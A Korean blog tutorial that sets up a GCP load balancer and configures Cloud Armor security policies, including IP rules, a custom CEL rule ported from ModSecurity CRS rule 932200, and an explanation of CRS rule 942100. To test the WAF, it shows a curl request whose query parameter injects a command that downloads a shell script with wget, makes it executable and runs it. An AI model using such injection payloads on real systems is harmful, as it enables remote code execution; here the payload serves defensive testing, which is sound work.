EMD Blog

[GCP] Cloud Armor - 보안 정책과 규칙(2) 본문

Public Cloud/GCP

[GCP] Cloud Armor - 보안 정책과 규칙(2)

EmaDam 2024. 7. 17. 18:45
반응형

안녕하세요. Emadam입니다.

이번 포스팅에서는 GCP Console 및 gcloud를 사용해 Cloud Armor를 구성해보면서 직접 외부 공격을 방어해보는 과정을 다뤄보겠습니다.

사전 설정

Cloud Armor를 테스트하기 위해 전역 외부 어플리케이션 부하 분산기를 구성해보겠습니다. 구성할 리소스는 다음과 같습니다.

  • 웹서버가 설치된 VM Instance
  • 전역 외부 어플리케이션 부하 분산기

위 리소스 생성 시 비용이 발생합니다. 주의해주세요.

사전 설정은 gcloud를 사용해 진행합니다. 혹시 gcloud가 설치되어 있지 않다면 아래 문서를 참고해서 설치해주세요.

gcloud CLI가 설치되었다면 계정 설정 및 Project 설정을 진행합니다. 계정 설정 시 VM Instance 및 부하 분산기를 생성할 권한을 보유하고 있는 계정인지 확인해주세요.

# gcloud에 사용될 사용자 정보 설정
gcloud auth login

# Project 설정
gcloud config set project <project_id>

[참조 링크]

기본 설정을 완료했다면 테스트 환경을 위한 VPC와 네트워크 리소스들을 구성합니다.

# VM Instance가 구성될 Subnet 하나와 VM Instance에서 외부로 Outbound가 가능하도록 NAT를 구성합니다.

# VPC 생성
gcloud compute networks create emadam-test-vpc \
    --subnet-mode=custom
    
# Subnet 생성
gcloud compute networks subnets create emadam-test-subnet \
    --network=emadam-test-vpc \
    --range=192.168.0.0/24 \
    --region=asia-northeast3
    
# Cloud Router 생성
gcloud compute routers create emadam-test-router \
    --network=emadam-test-vpc \
    --region=asia-northeast3

# NAT 생성
gcloud compute routers nats create emadam-test-nat \
    --router=emadam-test-router \
    --auto-allocate-nat-external-ips \
    --nat-all-subnet-ip-ranges \
    --region=asia-northeast3

[참조 링크]

네트워크가 구성되었으니 Web Server(Nginx)가 설치된 VM 인스턴스를 생성합니다. 이때, VM 인스턴트 부팅시 자동으로 Nginx를 설치하도록 startup-script를 작성해 VM 인스턴스의 메타데이터로 지정합니다.

startup_script.sh라는 이름으로 파일을 하나 생성해서 아래 내용을 추가해줍니다.

#!/bin/bash
sudo timedatectl set-timezone Asia/Seoul

if rpm -q nginx | grep "not installed" ; then
    sudo dnf update -y
    sudo dnf install -y nginx
fi

sudo systemctl enable nginx
sudo systemctl start nginx

그 다음 VM 인스턴스를 생성하는데 메타데이터로 위 파일을 지정해줍니다.

(Key는 startup-script, Value는 위에서 만든 startup_script.sh 지정)

# VM 인스턴스 생성
gcloud compute instances create emadam-test-vm \
    --zone=asia-northeast3-a \
    --machine-type=e2-medium \
    --subnet=emadam-test-subnet \
    --no-address \
    --image=rocky-linux-8-optimized-gcp-v20240611 \
    --image-project=rocky-linux-cloud \
    --boot-disk-size=20GB \
    --boot-disk-type=pd-balanced \
    --boot-disk-device-name=emadam-test-vm \
    --scopes=cloud-platform \
    --metadata-from-file=startup-script=startup_script.sh

[참조 링크]

인스턴스를 백엔드 서비스에 연결하기 위해 비관리형 인스턴스 그룹에 추가해줍니다.

# 비관리형 인스턴스 그룹 생성
gcloud compute instance-groups unmanaged create emadam-test-ig \
    --zone=asia-northeast3-a

# 인스턴스 그룹에 인스턴스 추가
gcloud compute instance-groups unmanaged add-instances emadam-test-ig \
    --zone=asia-northeast3-a \
    --instances=emadam-test-vm

# 인스턴스 그룹에 이름이 지정된 포트 추가
gcloud compute instance-groups set-named-ports emadam-test-ig \
    --named-ports http:80 \
    --zone asia-northeast3-a

[참조 링크]

웹 서버를 위한 도메인 및 SSL도 설정합니다. 혹시 네임서버로 GCP가 아닌 다른 네임서버를 사용하고 계시다면 Zone 및 Record 설정은 건너뛰어 주세요.

(<domain> 부분은 본인이 사용하는 도메인으로 변경해주세요.)

# 외부 고정 IP 생성
gcloud compute addresses create emadam-test-external-ip \
    --ip-version=IPV4 \
    --global

# 관리형 Zone 생성
gcloud dns managed-zones create emadam-test-zone \
    --dns-name=<domain> \
    --description="For Cloud Armor testing"

# 로드밸런서용 Record 생성
gcloud dns record-sets transaction start \
    --zone=emadam-test-zone

EXTERNAL_IP=`gcloud beta compute addresses describe emadam-test-external-ip --global | grep ^address: | awk '{ print $2 }'`
gcloud dns record-sets transaction add $EXTERNAL_IP \
    --name=test-lb.<domain> \
    --ttl=300 \
    --type=A \
    --zone=emadam-test-zone

gcloud dns record-sets transaction execute \
    --zone=emadam-test-zone

# 관리형 SSL 인증서 생성
gcloud compute ssl-certificates create emadam-test-ssl \
    --domains=test-lb.<domain> \
    --global

[참조 링크]

백엔드 서비스를 구성합니다.

[참조 링크]

# Prober 접근을 허용하는 방화벽 규칙 생성
gcloud compute firewall-rules create emadam-test-rule \
    --network=emadam-test-vpc \
    --action=allow \
    --direction=ingress \
    --rules=tcp:80 \
    --source-ranges=130.211.0.0/22,35.191.0.0/16
    
# 상태확인 생성
gcloud compute health-checks create http emadam-test-health-check \
    --request-path=/ \
    --check-interval=5s \
    --port 80

# 백엔드 서비스 생성
gcloud compute backend-services create emadam-test-backend-service \
    --protocol=HTTP \
    --port-name=http \
    --health-checks=emadam-test-health-check \
    --connection-draining-timeout=300 \
    --enable-logging \
    --global

# 백엔드 추가
gcloud compute backend-services add-backend emadam-test-backend-service \
    --instance-group=emadam-test-ig \
    --instance-group-zone=asia-northeast3-a \
    --global

Cloud Armor에서 로그를 확인하려면 백엔드 서비스에서 로그를 활성화(--enable-logging)해야 합니다. Cloud Armor의 로그는 부하분산기 로그의 일부입니다.

프론트엔드도 생성해서 부하 분산기 구성을 완료합니다.

# URL MAP 생성
gcloud compute url-maps create emadam-test-url-map \
    --default-service emadam-test-backend-service

# Target Proxy 생성
gcloud compute target-https-proxies create emadam-test-target-proxy \
    --url-map=emadam-test-url-map \
    --ssl-certificates=emadam-test-ssl 

# Forwarding Rule 추가
gcloud compute forwarding-rules create emadam-test-forwarding-rule \
    --address=emadam-test-external-ip \
    --global \
    --target-https-proxy=emadam-test-target-proxy \
    --ports=443

[참조 링크]

위 구성이 완료되면 아래와 같이 Nginx 기본 페이지로 접근이 가능해집니다.

  • https://test-lb.<domain>

이제 본격적으로 Cloud Armor를 테스트해보겠습니다.

보안 정책 생성

위에서 생성한 부하 분산기에 적용할 보안 정책을 생성합니다. 정책 유형을 선택하기 요구사항을 정리해보겠습니다.

[요구 사항]

  • 전역 외부 어플리케이션 부하 분산기에 적용 가능해야 합니다.
  • IP 기반 필터링이 가능해야 합니다.
  • 제한 및 비율 기반 차단이 가능해야 합니다.

이 문서를 보면 위 조건을 만족하는 정책 유형은 백엔드 보안 정책입니다. 그럼 백엔드 보안 정책으로 구성해보겠습니다.

보안 정책을 구성하려면 두 가지 역할을 설정해야 합니다.

필요한 역할에 대한 자세한 내용은 이 문서를 참고해주세요.

권한 설정이 완료되었다면 아래 명령어로 백엔드 보안 정책을 생성합니다.

# 백엔드 보안 정책 생성
gcloud compute security-policies create emadam-test-security-policy \
    --type=CLOUD_ARMOR \
    --global

[참조 링크]

위 명령어에서 CLOUD_ARMOR는 백엔드 보안 정책 유형을 의미합니다. 이렇게 생성하면 모든 주소 범위에 대해 접근 허용을 기본 규칙으로한 백엔드 보안 정책이 생성됩니다.

생성된 보안 정책에 대해 자세히 확인하고 싶다면 GCP Console에 접속하거나 아래 명령어를 입력합니다.

# 백엔드 보안 정책 확인
gcloud compute security-policies describe emadam-test-security-policy \
    --global

그럼 아래와 같이 상세 내용이 출력됩니다.

creationTimestamp: '2024-06-29T04:41:17.285-07:00'
fingerprint: GWRpk6iVt9Y=
id: '9153982750184852530'
kind: compute#securityPolicy
labelFingerprint: 42WmSpB8rSM=
name: emadam-test-security-policy
rules: 
- action: allow 
  description: default rule
  kind: compute#securityPolicyRule
  match:
    config:
      srcIpRanges:
      - '*' 
    versionedExpr: SRC_IPS_V1
  preview: false
  priority: 2147483647
selfLink: <https://www.googleapis.com/compute/v1/projects/infra-common-dev/global/securityPolicies/emadam-test-security-policy>
type: CLOUD_ARMOR

[참조 링크]

출력 내용을 보면 rules 하위에 기본 규칙이 생성되어 있는 것을 볼 수 있습니다.

  • 작업(action) → 허용(allow)
  • 조건(match, srcIpRanges) → 전체 허용 (’*’)
  • 우선순위(priority) → 2147483647

보안 정책이 정상적으로 생성되었으니 백엔드 서비스에 연결합니다.

# 백엔드 서비스에 보안 정책 연결
gcloud compute backend-services update emadam-test-backend-service \
    --security-policy=emadam-test-security-policy \
    --global

[참조 링크]

백엔드 서비스에 잘 연결되었는지 확인하고 싶다면 아래 명령어를 사용합니다.

# 백엔드 서비스에 연결된 보안 정책 확인
gcloud compute backend-services describe emadam-test-backend-service \
    --global | grep securityPolicy | awk '{ print $2 }'

보안 정책이 잘 연결되었다면 아래와 같이 출력됩니다.

<https://www.googleapis.com/compute/v1/projects/>/global/securityPolicies/emadam-test-security-policy

[참조 링크]

기본 규칙이 전체 허용이기 때문에 도메인으로 접근 시 웹페이지가 정상적으로 출력되어야 합니다. 아래와 명령어를 사용해 상태 코드가 200을 반환하는지 확인할 수 있습니다. (브라우저에서 접속해보셔도 됩니다.)

curl -I https://test-lb.<domain>

보안 규칙이 전체 허용으로 되어 있다면 아래와 같이 상태 코드 200을 반환합니다.

HTTP/2 200 
server: nginx/1.14.1
date: Sat, 29 Jun 2024 12:09:05 GMT
content-type: text/html
content-length: 3429
last-modified: Thu, 10 Jun 2021 09:09:03 GMT
etag: "60c1d6af-d65"
accept-ranges: bytes
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

IP 기반으로 필터링

GCP 부하 분산기는 IP 기반의 방화벽 기능을 제공하지 않습니다. 때문에 외부 부하분산기를 구성하게 되면 자동으로 외부에 전체 공개가 됩니다. 만약 테스트와 같은 목적으로 외부 접근을 제한하고 싶다면 어떻게 해야할까요?

이때 가장 간단하게 활용할 수 있는 기능이 IP 기반 필터링 규칙입니다. 규칙에 IP 대역을 지정하면 해당 IP의 접근을 차단하거나 허용할 수 있습니다.

먼저, 특정 IP를 차단해보겠습니다. 아래 링크에서 자신의 Outbound IP(NAT IP 또는 직접 연결된 외부 IP)를 확인합니다.

그 다음 아래 명령어로 방화벽 규칙을 추가합니다. <Public_IP> 에는 IP(xxx.xxx.xxx.xxx)나 IP 주소 범위(xxx.xxx.xxx.xxx/yy)를 입력합니다.

# IP 차단 규칙 생성
gcloud compute security-policies rules create 10 \
    --security-policy emadam-test-security-policy \
    --src-ip-ranges "<Public_IP>" \
    --action "deny-403"

[참조 링크]

규칙 추가 후 실제 필터링이 적용되기까지는 1~2분 정도의 시간이 소요됩니다. 규칙이 정상적으로 작동할 때까지 충분히 기다려준 후 아래와 같이 반환하는 상태 코드를 확인합니다.

curl -I https://test-lb.<domain>

그러면 아래와 같이 403 코드를 확인할 수 있습니다.

HTTP/2 403 
content-length: 134
content-type: text/html; charset=UTF-8
date: Sat, 29 Jun 2024 12:37:49 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

그럼 이제 우선순위를 사용해 차단된 IP를 다시 허용시켜보겠습니다.

# IP 허용 규칙 생성
gcloud compute security-policies rules create 9 \
    --security-policy emadam-test-security-policy \
    --src-ip-ranges "<Public_IP>" \
    --action "allow"

기존 차단 규칙은 유지한 상태로 같은 IP의 접근을 허용하는 규칙을 추가했습니다. 다만, 기존 규칙보다 우선순위 값을 낮게 설정했습니다. 보안 규칙은 특정 사례를 제외하면 우선순위를 기준으로 차례대로 평가되며 평가 조건이 일치할 경우 해당 규칙에 정의된 작업을 수행한 뒤 평가가 종료됩니다. 즉, 새로 생성한 허용 규칙에서의 조건이 일치하면 이후의 차단 규칙은 평가되지 않습니다.

그럼 정상적으로 접속되는지 확인해보겠습니다.

HTTP/2 200 
server: nginx/1.14.1
date: Sun, 30 Jun 2024 09:53:25 GMT
content-type: text/html
content-length: 3429
last-modified: Thu, 10 Jun 2021 09:09:03 GMT
etag: "60c1d6af-d65"
accept-ranges: bytes
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

새로 추가한 허용 규칙으로 인해 정상적으로 200 코드를 반환하는 것을 볼 수 있습니다.

고급 규칙

Cloud Armor에서 제공하는 CEL(Common Expression Language) 기반의 표현식을 사용하면 IP 외에도 다양한 속성을 평가할 수 있습니다.

요청 속성, 연산자, 예시 등은 아래 문서에 전부 정리되어 있습니다.

위 문서의 모든 내용을 다루기에는 블로그가 길어지니 CRS(ModSecurity Core Rule Set)을 기준으로 실제 방어 사례가 있는 규칙을 구성해보겠습니다.

  1. 원격 파일 실행 방어 설정 중 932200번 규칙

아래 링크에서 932200로 검색하면 원격 파일 실행 방어에 대한 우회를 차단하는 규칙이라는 안내와 함께 관련 설명 링크가 기재되어 있습니다.

링크를 요약하면 다음과 같습니다.

  • 초기화되지 않은 변수(비어있는)를 원격 명령어에 포함시켜 규칙 우회
  • 문자열을 연결하는 다양한 연산자를 사용해 규칙 우회
  • 와일드카드(?, /)를 사용해 규칙 우회

링크의 내용이 크게 어렵다거나 길지 않기 때문에 읽어보시는 걸 추천드립니다. (꽤 재밌습니다.)

설명 아래에는 SecRule이라는 지시어를 통해 3개의 규칙이 정의되어 있습니다. 각 규칙은 chain이라는 작업을 통해 연결되어 있지만 첫 번째 규칙 외에는 ModSecurity Core Rule Set의 score 측정을 위한 규칙이기 때문에 무시해도 됩니다. 규칙을 Cloud Armor 속성에 맞춰서 나열하면 다음과 같습니다. (SecRule에 대한 내용은 이 글의 OOO부분을 참고해주세요.)

  • 속성
    • request.headers['cookie']
      • 단, __utm 값은 제외
      • x.lower() 적용
      • x.urlDecodeUni() 적용
    • request.query
      • x.lower() 적용
      • x.urlDecodeUni() 적용
  • 조건
    • ['\\*\\?\\x5c][^\n/]+/|/[^/]+?['\*\?\x5c]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]
  • 작업
    • deny-403

실제로 규칙 소스에는 위 나열한 내용보다 더 많은 속성, 작업들로 구성되어 있습니다. 하지만 대부분은 Cloud Armor에서 지원하지 않기 때문에 지원이 되는 부분만 추려보았습니다.

그럼 규칙을 구성하기 전에 현 상태에서 공격이 잘 들어가는지 확인해보겠습니다.

# 실제 공격 부분은 제가 임의로 값을 변경했기 때문에 정상동작하지 않습니다.
curl -I 'https://test-lb.<domain>/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20ls%20-l%20%2A%3B%20wget%20http%3A%2F%2F127.0.0.1%2Femadam.sh%3B%20chmod%20777%20emadam.sh%3B.%2Femadam.sh)'
# 페이지가 없어 404를 반환하지만 서버에 정상접근은 가능
HTTP/2 404 
server: nginx/1.14.1
date: Fri, 12 Jul 2024 10:34:46 GMT
content-type: text/html
content-length: 3332
etag: "60c1d6af-d04"
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

이 공격은 매개변수 중 country 필드에 스크립트를 다운로드하고 실행하는 명령어를 넣어서 서버에서 실행시키는 공격입니다. 위 URL에서 country 이후만 복호화해보면 아래처럼 나오게 됩니다.

country=$(
  cd /tmp; 
  ls -l; 
  wget <http://127.0.0.1/emadam.sh>; 
  chmod 777 emadam.sh;
  ./emadam.sh
)"

이제 규칙을 추가해서 공격을 방어해보겠습니다. 규칙은 위에서 정리한 속성, 조건, 규칙을 참고해서 구성하면 됩니다. 다만, 조건의 경우 PCRE(Perl Compatible Regular Expressions)로 구성되어 있는데 이를 Google의 RE2로 변경해주어야 합니다.

그러기 위해서 먼저 기존 조건을 해석해보겠습니다.

([*?`\\\\'][^\\/\\n]+\\/|\\$[({\\[#a-zA-Z0-9]|\\/[^\\/]+?[*?`\\\\'])
===
- [*?`\\\\']         : *?\\`'을 포함하는 문자로 시작하고
- [^\\/\\n]+         : / 또는 줄바꿈으로 시작하지 않는 문자가 1개 이상 나타남
- \\/               : 끝에 / 포함
===
- |                : 또는 
===
- \\$               : $로 시작하고
- [({\\[#a-zA-Z0-9] : ({[#a~Z0-9 포함하는 문자 1개 포함
===
- |                : 또는 
===
- \\/               : /로 시작하고
- [^\\/]            : /가 아닌 문자가 1개 이상나타나면서
- [*?`\\\\']         : 끝에 *?\\`'을 포함
- +?               : 위 조건을 만족하는 패턴 중 가장 짧은 패턴

위 표현식을 RE2로 변경하면 다음과 같습니다.

([*?\\x60\\\\'][^/\\n]+/|[$][({[[:alnum:]]|/[^/]+?[*?\\x60\\\\'])

[참조 링크]

하지만 위 표현식을 그대로 가져다가 Cloud Armor 규칙을 생성하려하면 구문 에러가 발생합니다. 위 표현식은 regex101에서 정상동작하도록 맞춰놓은 표현식이긴 하지만 실제 공식 문서를 보고 변환한 표현식을 기준으로 규칙을 생성하려해도 구문에러는 발생합니다.

[실제 테스트 결과]

  • PCRE를 공식 문서를 참고해서 RE2로 변환 후 Regex101로 검증 → 구문에러
  • 변환된 RE2 구문을 Cloud Armor 규칙으로 등록 → 구문에러
  • 변환된 RE2 구문을 Regex101에서 동작하도록 변환 후 Cloud Armor 규칙 등록 → 구문에러

그래서 Regex101에서 동작하는 구문을 기준으로 GCP의 지원을 받아 아래와 같이 구문을 작성했습니다.

[*?`\\'][^/[:space:]]+/|[$][({[[:alnum:]]|/[^/]+?[*?`\\']

Cloud Armor에서 그룹([]) 메타문자가 문자열로 인식하기 때문에 백슬래시(\\)를 제거해줘야 합니다. 그룹 내에 \\를 사용하면 문자열 \\로 인식합니다. 같은 맥락으로 \\n과 같은 표현식도 줄바꿈이 아닌 \\와 문자열 n으로 각각 인식합니다.

이제 위 조건을 사용해 규칙을 생성합니다.

# REQUEST-932-APPLICATION-ATTACK-RCE - 932200 Rule
gcloud compute security-policies rules create 8 \
	--project=infra-common-dev \
	--action=deny-403 \
	--security-policy=emadam-test-security-policy \
	--expression=request.headers\\[\\'cookie\\'\\].lower\\(\\).urlDecodeUni\\(\\).matches\\(\\"\\[\\*\\?\\`\\\\\\'\\]\\[^/\\[:space:\\]\\]\\+/\\|\\[\\$\\]\\[\\(\\{\\[\\[:alnum:\\]\\]\\|/\\[^/\\]\\+\\?\\[\\*\\?\\`\\\\\\'\\]\\"\\)\\ $'\\n'\\|\\|\\ $'\\n'request.query.lower\\(\\).urlDecodeUni\\(\\).matches\\(\\"\\[\\*\\?\\`\\\\\\'\\]\\[^/\\[:space:\\]\\]\\+/\\|\\[\\$\\]\\[\\(\\{\\[\\[:alnum:\\]\\]\\|/\\[^/\\]\\+\\?\\[\\*\\?\\`\\\\\\'\\]\\"\\)

IP 기반의 단순 규칙이 아니기 때문에 --src-ip-ranges 옵션 대신 --expression 옵션이 사용됩니다. 그런데 --expression 옵션 값이 특수문자 escape 처리가 되어 있어서 읽기가 난해합니다. --expression 값은 아래 내용을 참고해주세요.

request.headers['cookie'].lower().urlDecodeUni().matches("[*?`\\'][^/[:space:]]+/|[$][({[[:alnum:]]|/[^/]+?[*?`\\']") 
|| 
request.query.lower().urlDecodeUni().matches("[*?`\\'][^/[:space:]]+/|[$][({[[:alnum:]]|/[^/]+?[*?`\\']")

규칙을 생성했으니 다시 한 번 요청을 보내보겠습니다.

curl -I 'https://test-lb.<domain>/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20ls%20-l%20%2A%3B%20wget%20http%3A%2F%2F127.0.0.1%2Femadam.sh%3B%20chmod%20777%20emadam.sh%3B.%2Femadam.sh)'

그럼 아래와 같이 403 에러가 발생하는 것을 볼 수 있습니다.

HTTP/2 403 
content-length: 134
content-type: text/html; charset=UTF-8
date: Wed, 17 Jul 2024 08:37:14 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

사전 정의된 규칙과 CoreRuleSet

사전 정의된 규칙을 사용하다보면 내부 규칙이 어떻게 구성되어 있는지 궁금할 때가 있습니다. 간단하게 사전 정의된 규칙의 소스 규칙 확인법을 알아보겠습니다.

GCP 문서를 보면 사전 정의된 규칙은 Modsecurity core rule set(CRS) 3.0 또는 3.3 기준으로 구현되어 있다고 설명해주고 있습니다. CRS는 OWASP(Open Web Application Security Project) Top 10을 포함하는 광범위한 공격을 최소한의 거짓 양성으로 웹 어플리케이션을 보호하는 규칙 모음입니다. 당장 들어오는 공격을 방어하는 것도 중요하지만 미리 예방하는 것도 중요하기 때문에 이런 사전 정의된 규칙을 사용하면 쉽고 빠르게 주요 공격들을 방어할 수 있습니다.

이 링크로 이동하면 GCP에서 제공하는 사전에 구성된 WAF 규칙 목록을 확인할 수 있습니다. 약 14개의 규칙을 확인할 수 있으며 각 규칙 섹션으로 이동하면 세부 규칙과 함께 설명을 확인할 수 있습니다. 하지만 세부 구현 내용은 확인할 수 없습니다. 세부 구현을 확인하려면 CRS Github Repository에서 원하는 규칙을 찾아야합니다.

예시로 사전 정의된 규칙중 SQL 삽입(SQLi) 규칙 중 owasp-crs-v030301-id942100-sqli (libinjection을 통한 SQL 삽입 공격이 감지) 규칙을 찾아보겠습니다. 규칙 ID owasp-crs-v030301-id942100-sqli를 보면 중간에 id942100이라는 값을 확인할 수 있습니다. 이 값은 CRS의 규칙 ID값으로, 앞의 세 자리로 규칙 그룹을 찾을 수 있습니다. CRS Github Repository에서 규칙 ID의 앞 세 자리(942)가 포함된 파일을 찾습니다.

그 다음 이 파일 내에서 전체 ID 값인 942100을 검색합니다.

SecRule을 시작으로 하는 표현식을 확인할 수 있습니다. SecRule은 규칙을 정의하는 지시자입니다. 즉, 규칙에는 ID가 942100인 규칙이 정의되어 있습니다.

ModSecurity 문법은 아래와 같이 구성되어 있습니다.

SecRule <변수> "<연산자>" "<작업>"

각 구성의 요소들에 대한 설명은 메뉴얼을 참고해주세요.

변수, 연산자, 작업 중 변수부터 살펴보겠습니다. 변수는 연산의 대상이 되는 값입니다. 요청 헤더나 쿼리 값, 본문, 커스텀 변수 등이 있습니다. 942100에서 사용되는 변수는 다음과 같습니다.

  • REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/ : 요청 쿠키 중 __utm 포함하는 이름(Key)의 값을 제외한 모든 값
  • REQUEST_COOKIES_NAMES : 요청 쿠키의 모든 이름(Key)
  • REQUEST_HEADERS:User-Agent : 요청 헤더 중 User-Agent 값
  • REQUEST_HEADERS:Referer : 요청 헤더 중 Referer 값
  • ARGS_NAMES : 매개변수(URL QUERY PARAM), 본문(POST BODY)의 모든 이름(key)
  • ARGS : 매개변수(URL QUERY PARAM), 본문(POST BODY)의 모든 값(value)
  • XML:/* : XML 페이로드의 모든 이름과 값

위 변수들을 이어주는 파이프라인 기호(|)는 각 변수들을 OR로 연결해줍니다. 연산자에서 요구하는 조건을 위 변수들중 하나라도 만족하는 변수가 있다면 이 규칙은 True가 됩니다.

변수 자체는 특별한 부분이 없지만 위에 나열된 변수를 보면 REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/와 같이 특수한 문법을 사용하는 변수가 있습니다. <변수>:<이름> 형태의 문법은 변수 내 해당 이름(key)을 가진 값을 의미합니다. 프로그래밍으로 치면 Map['key']와 동일한 문법입니다. 그런데 이 문법을 <변수>|!<변수>:<이름> 형태로 부정(!)과 파이프라인 기호(|)를 함께 사용하면 변수 중 해당 이름(Key)의 값을 제외한 나머지 값들을 의미하게 됩니다.

참고로 :를 사용할 때 이름을 정규표현식으로 표현하면 정규표현식에 해당하는 모든 이름에 대한 값을 의미하게 됩니다.

그럼 연산자를 살펴보겠습니다. 942100 규칙의 연산자는 @detectSQLi을 사용하고 있습니다.

메뉴얼을 보면 @detectSQLi 연산자LibInjection이라는 라이브러리를 사용해 SQL 주입을 체크하고 일치하면 True를 반환한다고 한다고 적혀있습니다. 즉, 이 연산자로 위에 언급한 모든 변수들을 체크해 하나라도 조건에 일치하면 True를 반환하게 됩니다.

마지막으로 작업을 살펴보겠습니다. 942100의 작업 내용을 나열하면 다음과 같습니다.

  • Actions
    • id:942100 : 규칙에 고유한 ID(942110) 할당
    • phase:2 : 규칙을 특정한 처리단계에 배치, 처리단계 별로 액세스 가능한 데이터 범위가 달라집니다..
    • block : 조건이 True일 경우 요청을 차단
    • capture : 정규표현식과 일치하는 부분(캡쳐본)을 트랜잭션 변수에 할당
    • msg:'SQL Injection Attack Detected via libinjection' : 로그에 기록될 메세지
    • logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}' : 로그에 데이터 추가 (TX.0는 위에서 캡쳐한 트랜잭션 변수)
    • tag:~ : 규칙의 메타데이터, 특정 동작을 수행하는 것은 아닙니다.
    • t:~ : 변수를 가공. 나열한 순서에 영향을 받습니다.
      • t:none : 모든 변환 함수 제거
        • 맨 처음에 이 함수를 사용하는 이유는 SecDefaultAction과 같은 작업으로 인해 의도치 않은 변수 변환을 방지하기 위함입니다.
      • t:utf8toUnicode : 모든 UTF-8 문자를 Unicode 문자로 변경
      • t:urlDecodeUni : URL 인코딩된 변수를 디코딩
      • t:removeNulls : 변수에서 Null을 제거
    • ver:'OWASP_CRS/4.5.0-dev' : 규칙의 버전을 지정
    • severity:'CRITICAL' : 규칙의 심각도 수준을 지정
    • multiMatch : 각 변환함수가 적용되기 전후로 규칙 일치 여부를 체크
    • setvar:'tx.inbound_anomaly_score_pl1=+%{tx.critical_anomaly_score}' : 변수에 값 할당
    • setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}' : 변수에 값 할당

특이사항으로 setvar를 보면 tx.inbound_anomaly_score_pl1 와 tx.sql_injection_score에 critical_anomaly_score를 더해주고 있습니다. CRS는 요청 및 응답의 차단여부를 결정하기 위해 Anomaly Scoring 개념을 도입했습니다. 규칙마다 점수를 쌓아서 임계치를 넘어가면 요청 및 응답이 거부되는 방식입니다. 위 setvar는 이런 점수를 부여하는 역할을 합니다.

이렇게 Cloud Armor 사전 정의된 규칙의 소스 규칙 확인법을 살펴보았습니다. 처음 규칙을 보면 눈에 잘 안들어오는 것이 사실이지만 비슷한 문법을 반복적으로 사용하는 경우가 많고 메뉴얼에 모든 문법에 대한 설명이 나와있기 때문에 규칙 한 두개만 직접 해석해보시면 다른 규칙도 큰 어려움 없이 해석이 가능할 것이라고 생각합니다.

리소스 삭제

테스트가 끝났으니 불필요한 비용발생을 막기 위해 리소스를 전부 제거하겠습니다.

리소스 삭제는 생성의 역순으로 진행해주시면 됩니다.

# 백엔드 보안 정책 제거
gcloud compute security-policies delete emadam-test-security-policy \
    --global
    
# Forwarding Rule 제거
gcloud compute forwarding-rules delete emadam-test-forwarding-rule \
    --global

# Target Proxy 제거
gcloud compute target-https-proxies delete emadam-test-target-proxy 

# URL MAP 제거
gcloud compute url-maps delete emadam-test-url-map 

# 백엔드 서비스 제거
gcloud compute backend-services delete emadam-test-backend-service \
    --global

# 관리형 SSL 인증서 제거
gcloud compute ssl-certificates delete emadam-test-ssl \
    --global

# 로드밸런서용 Record 제거
gcloud dns record-sets transaction start \
    --zone=emadam-test-zone

EXTERNAL_IP=`gcloud beta compute addresses describe emadam-test-external-ip --global | grep ^address: | awk '{ print $2 }'`
gcloud dns record-sets transaction remove $EXTERNAL_IP \
    --name=test-lb.<domain> \
    --ttl=300 \
    --type=A \
    --zone=emadam-test-zone

gcloud dns record-sets transaction execute \
    --zone=emadam-test-zone

# 관리형 Zone 제거
gcloud dns managed-zones delete emadam-test-zone

# 외부 고정 IP 제거
gcloud compute addresses delete emadam-test-external-ip \
    --global

# 비관리형 인스턴스 그룹 제거
gcloud compute instance-groups unmanaged delete emadam-test-ig \
    --zone=asia-northeast3-a

# Prober 접근을 허용하는 방화벽 규칙 제거
gcloud compute firewall-rules delete emadam-test-rule 

# VM Instance 제거
gcloud compute instances delete emadam-test-vm \
    --zone=asia-northeast3-a 

# Cloud Router 제거
gcloud compute routers delete emadam-test-router \
    --region=asia-northeast3

# Subnet 제거
gcloud compute networks subnets delete emadam-test-subnet \
    --region=asia-northeast3

# VPC 제거
gcloud compute networks delete emadam-test-vpc

삭제 후 꼭 남아있는 리소스가 있는지 점검해주세요.

마무리

이렇게 보안정책 실습까지 직접해보았습니다. CRS 부분을 다루다보니 내용이 많이 길어졌는데 사실 보안 정책 및 규칙을 만드는 것 자체는 간단합니다. ModSecurity보다는 지원 범위가 좁지만 손쉽게 구성하고 모니터링 할 수 있다는 점에서는 적극 추천할만한 서비스라고 생각됩니다. 다음 포스팅에서는 모니터링과 미리보기를 통한 최적화 과정을 다뤄보겠습니다.

읽어주셔서 감사합니다!

반응형